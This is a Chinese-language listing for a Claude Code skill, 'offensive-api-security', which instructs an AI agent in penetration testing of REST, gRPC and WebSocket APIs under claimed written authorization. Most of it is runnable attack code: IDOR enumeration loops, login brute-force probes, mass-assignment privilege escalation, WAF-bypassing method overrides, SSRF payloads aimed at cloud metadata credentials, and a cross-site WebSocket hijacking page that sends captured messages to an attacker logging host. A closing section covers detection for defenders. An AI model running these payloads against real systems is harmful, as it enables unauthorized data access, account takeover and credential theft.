关于 offensive-api-security
offensive-api-security 是面向获授权 API 安全评估的测试指南,覆盖 REST、gRPC 和 WebSocket,并围绕 OWASP API Security Top 10 2023 检查授权、认证与配置问题。
主要功能
- 01映射 REST、gRPC 与 WebSocket 接口
- 02测试 BOLA、IDOR 与功能级授权
- 03检查认证、令牌和数据暴露
- 04评估限流及资源消耗控制
- 05测试 SSRF 与版本配置问题
- 06分析 gRPC 和 WebSocket 风险
适用场景
- 01对 API 应用开展授权安全评估
- 02检查跨用户对象访问和角色权限
- 03审查限流、数据暴露及 SSRF 风险
- 04测试 gRPC 与 WebSocket 接口安全
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-api-security安装后在 Claude Code 中输入/offensive-api-security确认已加载。
详细介绍
攻击性 API 安全测试
你正在对由 API 驱动的应用进行授权安全评估。本技能涵盖 REST、gRPC 和 WebSocket 攻击面,重点关注 OWASP API Security Top 10 2023。所有技术均假设你已获得书面授权并明确了测试范围。你的目标是发现可通过 API 层攻击导致未授权数据访问、权限提升或服务中断的漏洞。
快速工作流
- 绘制 API 攻击面:收集 OpenAPI/Swagger 规范、gRPC 反射输出和 WebSocket 端点。
- 枚举身份验证机制:API 密钥、OAuth 流程、JWT、会话令牌。
- 通过在已认证上下文中替换对象标识符来测试 BOLA/IDOR。
- 使用 BFLA 检查,在不同角色和 HTTP 方法下探测授权边界。
- 对参数进行模糊测试,检查批量赋值、内容类型切换和动词篡改。
- 评估速率限制和资源消耗控制。
- 测试 gRPC 特有的攻击向量:反射枚举、元数据注入、protobuf 操纵。
- 评估 WebSocket 安全性:来源验证、消息完整性、CSWSH。
- 检查 URL 接收参数和 Webhook 配置中的 SSRF。
- 记录发现,并提供复现步骤和严重性评级。
OWASP API Top 10 2023 —— BOLA 和 IDOR
对象级授权失效(BOLA)是最常见的 API 漏洞。测试方法是捕获包含对象标识符的合法请求,然后将标识符替换为其他用户或租户的标识符并重放请求。
GET /api/v1/users/1001/orders HTTP/1.1
Authorization: Bearer eyJhbGciOi...user_a_token
Host: target.example.com
保留原始令牌,同时换用不同的用户 ID 重放请求:
GET /api/v1/users/1002/orders HTTP/1.1
Authorization: Bearer eyJhbGciOi...user_a_token
Host: target.example.com
针对顺序编号和基于 UUID 的标识符自动化测试 IDOR:
# Sequential ID enumeration
for id in $(seq 1000 1050); do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $TOKEN_A" \
"https://target.example.com/api/v1/users/${id}/orders")
echo "ID: ${id} -> HTTP ${status}"
done
# Test with collected UUIDs from other endpoints
while read -r uuid; do
resp=$(curl -s -H "Authorization: Bearer $TOKEN_A" \
"https://target.example.com/api/v1/documents/${uuid}")
echo "UUID: ${uuid} -> $(echo "$resp" | jq -r '.owner // "no_owner_field"')"
done < collected_uuids.txt
测试不同的 HTTP 方法——端点可能会对 GET 执行授权检查,却不对 PUT 或 DELETE 执行检查:
for method in GET PUT PATCH DELETE; do
curl -s -o /dev/null -w "${method} -> %{http_code}\n" \
-X "${method}" \
-H "Authorization: Bearer $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"status":"cancelled"}' \
"https://target.example.com/api/v1/users/1002/orders/5001"
done
身份验证失效和过度数据暴露
测试身份验证端点抵御凭据填充攻击的能力、令牌生命周期方面的弱点,以及 API 响应中的信息泄露。
# Rapid credential testing -- probe for missing rate limits on login
for i in $(seq 1 100); do
code=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST -H "Content-Type: application/json" \
-d "{\"email\":\"[email protected]\",\"password\":\"attempt${i}\"}" \
"https://target.example.com/api/v1/auth/login")
echo "Attempt ${i}: HTTP ${code}"
[ "$code" = "429" ] && echo "Rate limit hit at attempt ${i}" && break
done
通过对比完整的 API 响应与 UI 实际呈现的内容,检查是否存在过度数据暴露。留意客户端从不显示的内部 ID、其他用户的电子邮件地址、密码哈希、角色分配或个人身份信息:
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/users/me" | jq .
测试令牌验证方面的弱点:
# Expired token, post-password-change token, malformed bearer values
curl -s -o /dev/null -w "Expired: %{http_code}\n" \
-H "Authorization: Bearer $EXPIRED_TOKEN" \
"https://target.example.com/api/v1/users/me"
curl -s -o /dev/null -w "Pre-change: %{http_code}\n" \
-H "Authorization: Bearer $PRE_PASSWORD_CHANGE_TOKEN" \
"https://target.example.com/api/v1/users/me"
for val in "" "null" "undefined" "Bearer" "Bearer "; do
curl -s -o /dev/null -w "Value '${val}' -> %{http_code}\n" \
-H "Authorization: ${val}" \
"https://target.example.com/api/v1/users/me"
done
速率限制和资源消耗
通过评估 API 是否对请求频率、负载大小和响应分页实施限制,测试是否存在不受限制的资源消耗(API4:2023)。
# Measure rate limit headers across rapid requests
for i in $(seq 1 50); do
curl -s -D - -o /dev/null \
-H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/search?q=test" 2>&1 | \
grep -iE "x-rate|retry-after|x-ratelimit"
sleep 0.1
done
# Pagination abuse and large payload submission
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/products?page=1&per_page=100000" | jq 'length'
python3 -c "
import json, sys
payload = {'name': 'A' * 1000000, 'tags': ['x'] * 10000}
sys.stdout.write(json.dumps(payload))
" | curl -s -o /dev/null -w "Large payload: %{http_code}\n" \
-X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" -d @- \
"https://target.example.com/api/v1/products"
BFLA 和批量赋值
当低权限用户能够调用管理类 API 函数时,就会发生函数级授权失效(BFLA)。批量赋值攻击则利用 API 将客户端提供的数据直接绑定到内部对象属性这一行为。
# BFLA: Test admin endpoints with regular user token
admin_endpoints=(
"GET /api/v1/admin/users"
"POST /api/v1/admin/users"
"DELETE /api/v1/admin/users/1001"
"GET /api/v1/admin/config"
"PUT /api/v1/admin/config"
"GET /api/v1/internal/metrics"
)
for ep in "${admin_endpoints[@]}"; do
method=$(echo "$ep" | cut -d' ' -f1)
path=$(echo "$ep" | cut -d' ' -f2)
code=$(curl -s -o /dev/null -w "%{http_code}" \
-X "$method" -H "Authorization: Bearer $REGULAR_USER_TOKEN" \
"https://target.example.com${path}")
echo "${method} ${path} -> HTTP ${code}"
done
# Mass assignment: inject properties that should not be user-controllable
curl -s -X PUT \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"name": "Updated Name",
"role": "admin",
"is_admin": true,
"permissions": ["admin", "superuser"],
"account_type": "premium",
"credit_balance": 99999
}' \
"https://target.example.com/api/v1/users/me" | jq .
REST 动词篡改和内容类型切换
API 有时只会针对预期的 HTTP 方法或内容类型应用安全控制。你可以通过发送使用非预期方法的请求或切换序列化格式来利用这一点。
# Verb tampering: test all methods against a restricted endpoint
for method in GET POST PUT PATCH DELETE OPTIONS HEAD TRACE; do
code=$(curl -s -o /dev/null -w "%{http_code}" \
-X "$method" -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/admin/settings")
echo "${method} -> HTTP ${code}"
done
# Method override headers -- bypass method-based WAF rules
curl -s -X POST \
-H "X-HTTP-Method-Override: DELETE" \
-H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/users/1002"
curl -s -X POST \
-H "X-Method-Override: PUT" -H "X-HTTP-Method: PATCH" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"role":"admin"}' \
"https://target.example.com/api/v1/users/me"
# Content-type switching and parameter pollution
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin&password=test&role=admin" \
"https://target.example.com/api/v1/users"
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><user><name>test</name><role>admin</role></user>' \
"https://target.example.com/api/v1/users"
# Parameter pollution via duplicate keys
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/transfer?to=attacker&amount=100&to=victim"
通过 API 参数进行 SSRF
通过可接收 URL 的 API 参数实施服务端请求伪造,可以访问内部服务或云元数据端点。
ssrf_payloads=(
"http://169.254.169.254/latest/meta-data/"
"http://metadata.google.internal/computeMetadata/v1/"
"http://127.0.0.1:8080/admin"
"http://[::1]:8080/"
"http://0x7f000001/"
"http://internal-service.local/"
)
for payload in "${ssrf_payloads[@]}"; do
echo "--- Testing: ${payload}"
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"webhook_url\": \"${payload}\"}" \
"https://target.example.com/api/v1/integrations/webhook" | head -c 500
echo
done
测试通过导入/导出和个人资料功能实施的 SSRF:
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"import_url": "http://169.254.169.254/latest/user-data"}' \
"https://target.example.com/api/v1/data/import"
curl -s -X PUT -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"avatar_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \
"https://target.example.com/api/v1/users/me/profile"
gRPC 安全测试
gRPC 服务的攻击面与 REST 不同。你可以使用反射枚举服务,使用 grpcurl 构造请求,并使用 mitmproxy 拦截 protobuf 流量。
# Enumerate services via gRPC reflection
grpcurl -plaintext target.example.com:50051 list
grpcurl -plaintext target.example.com:50051 describe myapp.UserService
grpcurl -plaintext target.example.com:50051 describe myapp.UserService.GetUser
# Test BOLA on gRPC -- access another user's data with your token
grpcurl -plaintext \
-H "authorization: Bearer $TOKEN_A" \
-d '{"user_id": "1002"}' \
target.example.com:50051 myapp.UserService/GetUser
# Test admin methods with regular user credentials
grpcurl -plaintext \
-H "authorization: Bearer $REGULAR_TOKEN" \
-d '{}' \
target.example.com:50051 myapp.AdminService/ListAllUsers
元数据注入——gRPC 元数据标头可能会像 HTTP 标头一样遭到利用:
grpcurl -plaintext \
-H "authorization: Bearer $TOKEN" \
-H "x-forwarded-for: 127.0.0.1" \
-H "x-internal-service: true" \
-H "x-user-role: admin" \
-d '{}' \
target.example.com:50051 myapp.AdminService/GetConfig
使用 mitmproxy 拦截并修改 gRPC 流量:
# mitmproxy addon for gRPC inspection (save as grpc_inspector.py)
# Run: mitmproxy -s grpc_inspector.py --mode reverse:https://target:50051
from mitmproxy import http
class GrpcInspector:
def request(self, flow: http.HTTPFlow):
if flow.request.headers.get("content-type", "").startswith("application/grpc"):
print(f"[gRPC] {flow.request.method} {flow.request.path}")
for k, v in flow.request.headers.items():
if not k.startswith(":"):
print(f" Metadata: {k}: {v}")
def response(self, flow: http.HTTPFlow):
if flow.response and "grpc-status" in flow.response.headers:
print(f"[gRPC Response] Status: {flow.response.headers['grpc-status']}")
addons = [GrpcInspector()]
WebSocket 安全测试
WebSocket 连接绕过了许多传统的 HTTP 安全控制。你需要测试来源验证、消息注入、身份验证持久性和跨站 WebSocket 劫持。
# Origin validation testing with websocat
websocat -H "Origin: https://evil.example.com" "wss://target.example.com/ws/chat"
websocat "wss://target.example.com/ws/chat" # no origin
websocat -H "Origin: https://subdomain.target.example.com" "wss://target.example.com/ws/chat"
#!/usr/bin/env python3
"""WebSocket message fuzzing and injection testing."""
import asyncio, websockets, json
async def test_ws_injection(url, token):
headers = {"Cookie": f"session={token}"}
async with websockets.connect(url, extra_headers=headers) as ws:
test_payloads = [
json.dumps({"type": "message", "content": "hello"}),
json.dumps({"type": "message", "content": "hello", "user_id": "1002"}),
json.dumps({"type": "admin_broadcast", "content": "injected"}),
json.dumps({"type": "subscribe", "channel": "../admin/notifications"}),
json.dumps({"type": "message", "content": "A" * 1000000}),
]
for payload in test_payloads:
await ws.send(payload)
try:
response = await asyncio.wait_for(ws.recv(), timeout=3)
print(f"Sent: {payload[:80]}\nRecv: {response[:200]}\n---")
except asyncio.TimeoutError:
print(f"Sent: {payload[:80]} -> No response\n---")
asyncio.run(test_ws_injection("wss://target.example.com/ws/chat", "SESSION_TOKEN"))
跨站 WebSocket 劫持(CSWSH)验证:
<script>
var ws = new WebSocket("wss://target.example.com/ws/chat");
ws.onopen = function() {
console.log("[CSWSH] Connection opened -- origin validation missing");
ws.send(JSON.stringify({type: "message", content: "cswsh-test"}));
};
ws.onmessage = function(evt) {
console.log("[CSWSH] Received: " + evt.data);
fetch("https://attacker-log.example.com/log", {method: "POST", body: evt.data});
};
ws.onerror = function(e) {
console.log("[CSWSH] Connection failed -- origin may be validated");
};
</script>
API 版本控制与安全配置错误
维护多个版本的 API 通常存在不一致的安全控制。已弃用的版本可能缺少已应用于当前版本的补丁。
# Enumerate API versions
versions=("v1" "v2" "v3" "v0" "v1-beta" "v2-beta" "internal" "latest" "dev" "staging")
for ver in "${versions[@]}"; do
code=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/${ver}/users/me")
[ "$code" != "404" ] && echo "Version '${ver}' -> HTTP ${code}"
done
# Check for exposed documentation and debug endpoints
endpoints=(
"/swagger.json" "/swagger-ui/" "/openapi.json" "/api-docs"
"/graphql" "/graphiql" "/.well-known/openid-configuration"
"/actuator" "/actuator/env" "/actuator/health"
"/debug" "/trace" "/metrics" "/_profiler"
)
for ep in "${endpoints[@]}"; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://target.example.com${ep}")
[ "$code" != "404" ] && [ "$code" != "000" ] && echo "${ep} -> HTTP ${code}"
done
# CORS misconfiguration testing
curl -s -D - -o /dev/null \
-H "Origin: https://evil.example.com" -X OPTIONS \
"https://target.example.com/api/v1/users/me" 2>&1 | \
grep -iE "access-control|allow-origin|allow-credentials"
curl -s -D - -o /dev/null -H "Origin: null" \
"https://target.example.com/api/v1/users/me" 2>&1 | grep -i "access-control"
# Security header audit
curl -s -D - -o /dev/null "https://target.example.com/api/v1/health" 2>&1 | \
grep -iE "x-content-type|x-frame|strict-transport|content-security|x-powered-by|server:"
检测 / 防御者视角
运行这些测试时,你会留下可供防御者和监控系统检测到的痕迹:
-
BOLA/IDOR 探测会从单个会话发出一系列请求,其中的对象 ID 按顺序递增或随机生成。API 网关会记录跨对象标识符的异常访问模式。异常检测会标记访问正常范围之外资源的账户。
-
速率限制测试会产生突发流量,可在访问日志中看到。HTTP 429 响应会触发 SIEM 告警。重复的身份验证失败会激活账户锁定机制。
-
动词篡改和方法覆盖请求中使用异常 HTTP 方法或覆盖标头,会在访问日志中显得突出。注重安全性的应用会针对方法覆盖标头的使用发出告警。
-
gRPC 反射枚举会被拦截器记录。来自非开发 IP 的反射服务调用会触发告警。元数据注入尝试会出现在 gRPC 访问日志中。
-
WebSocket 测试会产生带有异常 Origin 标头的连接尝试,这些尝试会记录在负载均衡器中。CSWSH 尝试可能会触发 CSP 违规报告。
-
SSRF 载荷中包含的内部 IP 或元数据 URL 会被 WAF 标记。连接到意外目标的出站连接会触发网络监控告警。
-
版本探测会导致来自单个源 IP、针对多个路径前缀的 404 响应激增。
测试流程速查表
| 阶段 | 操作 | 工具 |
|---|---|---|
| 侦察 | 收集 API 规范 | Burp crawler、Swagger 端点 |
| 侦察 | gRPC 服务枚举 | 使用反射的 grpcurl |
| 侦察 | WebSocket 端点发现 | Burp Suite、DevTools |
| 身份验证 | 令牌生命周期测试 | curl、Burp Repeater |
| 授权 | 跨对象进行 BOLA/IDOR 测试 | curl 循环、Burp Intruder |
| 授权 | 跨角色进行 BFLA 测试 | 使用多个令牌的 curl |
| 输入处理 | 批量赋值 | curl、Postman |
| 输入处理 | 内容类型切换 | 使用不同标头的 curl |
| 协议 | gRPC 元数据注入 | grpcurl |
| 协议 | gRPC protobuf 拦截 | 带有插件的 mitmproxy |
| 协议 | WebSocket 注入 | websocat、Python websockets |
| 协议 | CSWSH 验证 | 自定义 HTML 测试页面 |
| 基础设施 | 通过 URL 参数进行 SSRF | curl、Burp Collaborator |
| 基础设施 | 绕过 API 版本控制 | curl 版本枚举 |
| 基础设施 | 配置错误扫描 | curl、Burp 扫描器 |
关键参考资料
- OWASP API Security Top 10 2023:https://owasp.org/API-Security/editions/2023/en/0x11-t10/
- gRPC 安全文档:https://grpc.io/docs/guides/auth/
- WebSocket 安全(RFC 6455 第 10 节):https://datatracker.ietf.org/doc/html/rfc6455#section-10
- Burp Suite API 测试:https://portswigger.net/burp/documentation/desktop/testing-workflow/api-testing
- grpcurl:https://github.com/fullstorydev/grpcurl
- websocat:https://github.com/vi/websocat
- mitmproxy:https://docs.mitmproxy.org/
- PortSwigger Academy -- API 测试:https://portswigger.net/web-security/api-testing
- Corey Ball 所著的《Hacking APIs》(No Starch Press)